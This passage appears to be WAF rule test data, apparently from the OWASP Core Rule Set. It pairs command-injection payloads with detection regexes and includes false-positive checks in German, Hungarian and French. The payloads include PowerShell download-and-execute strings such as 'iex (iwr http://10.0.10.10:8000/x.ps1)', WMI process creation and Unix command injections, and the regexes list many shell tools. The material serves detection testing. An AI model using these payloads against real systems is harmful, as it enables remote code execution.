\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Match `rmt-tar`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;rmt-dump" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)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?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Match `rmt-dump`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "windows-powershell-commands.data", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932120", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932120-2=Invoke-WebRequest http://example.com/path/file.ps1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "windows-powershell-commands.data", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932120", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932120-4=Invoke Web Request http://example.com/path/file.ps1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "windows-powershell-commands.data", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932120", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=powershell%20C%3A%5Cwindows%5Csystem32%5Cnotepad.exe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "windows-powershell-commands.data", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932120", "test_description": "Test for BB GU2FIXLC - powershell" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=%3Biwr%20http://example.com/path/file.ps1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:.*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:(?:a[\\\"\\^]*(?:c|s[\\\"\\^]*n[\\\"\\^]*p)|e[\\\"\\^]*(?:b[\\\"\\^]*p|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|s[\\\"\\^]*n)|[tx][\\\"\\^]*s[\\\"\\^]*n)|f[\\\"\\^]*(?:[cltw]|o[\\\"\\^]*r[\\\"\\^]*e[\\\"\\^]*a[\\\"\\^]*c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, "metadata": { "rule_id": "932125", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=%3Biwmi%20-class%20Win32_process%20-name%20Create%20-ArgumentList%20cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:.*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:(?:a[\\\"\\^]*(?:c|s[\\\"\\^]*n[\\\"\\^]*p)|e[\\\"\\^]*(?:b[\\\"\\^]*p|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|s[\\\"\\^]*n)|[tx][\\\"\\^]*s[\\\"\\^]*n)|f[\\\"\\^]*(?:[cltw]|o[\\\"\\^]*r[\\\"\\^]*e[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*h)|i[\\\"\\^]*(?:[cr][\\\"\\^]*m|e[\\\"\\^]*x|h[\\\"\\^]*y|i|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|m[\\\"\\^]*o|s[\\\"\\^]*n)|s[\\\"\\^]*e|w[\\\"\\^]*(?:m[\\\"\\^]*i|r))|m[\\\"\\^]*(?:[dpv]|o[\\\"\\^]*u[\\\"\\^]*n[\\\"\\^]*t)|o[\\\"\\^]*g[\\\"\\^]*v|p[\\\"\\^]*(?:o[\\\"\\^]*p|u[\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|(?:w[\\\"\\^]*m[\\\"\\^]*)?i|j[\\\"\\^]*b|n[\\\"\\^]*[ip])[\\\"\\^]*|d[\\\"\\^]*(?:r[\\\"\\^]*)?|m[\\\"\\^]*(?:(?:d[\\\"\\^]*i[\\\"\\^]*r|o)[\\\"\\^]*)?|s[\\\"\\^]*n[\\\"\\^]*(?:p[\\\"\\^]*)?|v[\\\"\\^]*(?:p[\\\"\\^]*a[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|c[\\\"\\^]*(?:j[\\\"\\^]*b[\\\"\\^]*[\\s\\x0b,\\./;<>].*|s[\\\"\\^]*n)|u[\\\"\\^]*j[\\\"\\^]*b)|s[\\\"\\^]*(?:(?:(?:a[\\\"\\^]*(?:j[\\\"\\^]*b|l|p[\\\"\\^]*s|s[\\\"\\^]*v)|b[\\\"\\^]*p|[cv]|w[\\\"\\^]*m[\\\"\\^]*i)[\\\"\\^]*|l[\\\"\\^]*(?:s[\\\"\\^]*)?|p[\\\"\\^]*(?:(?:j[\\\"\\^]*b|p[\\\"\\^]*s|s[\\\"\\^]*v)[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|h[\\\"\\^]*c[\\\"\\^]*m|u[\\\"\\^]*j[\\\"\\^]*b))(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932125", "test_description": "Test for BB finding VYYFBP5V" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=;iex (iwr http://10.0.10.10:8000/x.ps1)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "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].*|s[\\\"\\^]*n)|u[\\\"\\^]*j[\\\"\\^]*b)|s[\\\"\\^]*(?:(?:(?:a[\\\"\\^]*(?:j[\\\"\\^]*b|l|p[\\\"\\^]*s|s[\\\"\\^]*v)|b[\\\"\\^]*p|[cv]|w[\\\"\\^]*m[\\\"\\^]*i)[\\\"\\^]*|l[\\\"\\^]*(?:s[\\\"\\^]*)?|p[\\\"\\^]*(?:(?:j[\\\"\\^]*b|p[\\\"\\^]*s|s[\\\"\\^]*v)[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|h[\\\"\\^]*c[\\\"\\^]*m|u[\\\"\\^]*j[\\\"\\^]*b))(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932125", "test_description": "Test for BB finding VYYFBP5V" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Ihre kleine Schwester ist französisches Esskulturgut; man gönnt sie sich." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:.*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:(?:a[\\\"\\^]*(?:c|s[\\\"\\^]*n[\\\"\\^]*p)|e[\\\"\\^]*(?:b[\\\"\\^]*p|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\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]*c[\\\"\\^]*m|u[\\\"\\^]*j[\\\"\\^]*b))(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932125", "test_description": "Test for fp issue with ;man x" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Mi szép, mi édes azt szeretni a’ kinek kifolyása mind az a’ szép a’ mit itten látunk! ezt mondád, ’s mellyedre szorítál engemet, ’s könyűkre fakadtál; mi szép az, midőn tetteinknek mindeggyike megnyeri az azokat szemlélő Angyalok’ javalásaikat!" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:.*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:(?:a[\\\"\\^]*(?:c|s[\\\"\\^]*n[\\\"\\^]*p)|e[\\\"\\^]*(?:b[\\\"\\^]*p|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|s[\\\"\\^]*n)|[tx][\\\"\\^]*s[\\\"\\^]*n)|f[\\\"\\^]*(?:[cltw]|o[\\\"\\^]*r[\\\"\\^]*e[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*h)|i[\\\"\\^]*(?:[cr][\\\"\\^]*m|e[\\\"\\^]*x|h[\\\"\\^]*y|i|p[\\\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)?[\\s\\x0b,\\./;<>].*|v))|l[\\\"\\^]*s|n[\\\"\\^]*(?:(?:a[\\\"\\^]*l|d[\\\"\\^]*r|[iv]|m[\\\"\\^]*o|s[\\\"\\^]*n)[\\\"\\^]*[\\s\\x0b,\\./;<>].*|p[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*c)|r[\\\"\\^]*(?:(?:(?:(?:b[\\\"\\^]*)?p|e[\\\"\\^]*n|(?:w[\\\"\\^]*m[\\\"\\^]*)?i|j[\\\"\\^]*b|n[\\\"\\^]*[ip])[\\\"\\^]*|d[\\\"\\^]*(?:r[\\\"\\^]*)?|m[\\\"\\^]*(?:(?:d[\\\"\\^]*i[\\\"\\^]*r|o)[\\\"\\^]*)?|s[\\\"\\^]*n[\\\"\\^]*(?:p[\\\"\\^]*)?|v[\\\"\\^]*(?:p[\\\"\\^]*a[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|c[\\\"\\^]*(?:j[\\\"\\^]*b[\\\"\\^]*[\\s\\x0b,\\./;<>].*|s[\\\"\\^]*n)|u[\\\"\\^]*j[\\\"\\^]*b)|s[\\\"\\^]*(?:(?:(?:a[\\\"\\^]*(?:j[\\\"\\^]*b|l|p[\\\"\\^]*s|s[\\\"\\^]*v)|b[\\\"\\^]*p|[cv]|w[\\\"\\^]*m[\\\"\\^]*i)[\\\"\\^]*|l[\\\"\\^]*(?:s[\\\"\\^]*)?|p[\\\"\\^]*(?:(?:j[\\\"\\^]*b|p[\\\"\\^]*s|s[\\\"\\^]*v)[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|h[\\\"\\^]*c[\\\"\\^]*m|u[\\\"\\^]*j[\\\"\\^]*b))(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932125", "test_description": "Test for fp issue with ;mi x" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=C’est simple: si les feux sont au vert sur la carrosserie, l’assistance peut intervenir sur un véhicule accidenté; si cela vire au rouge et qu’une alarme résonne, un danger électrique haute tension subsiste." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 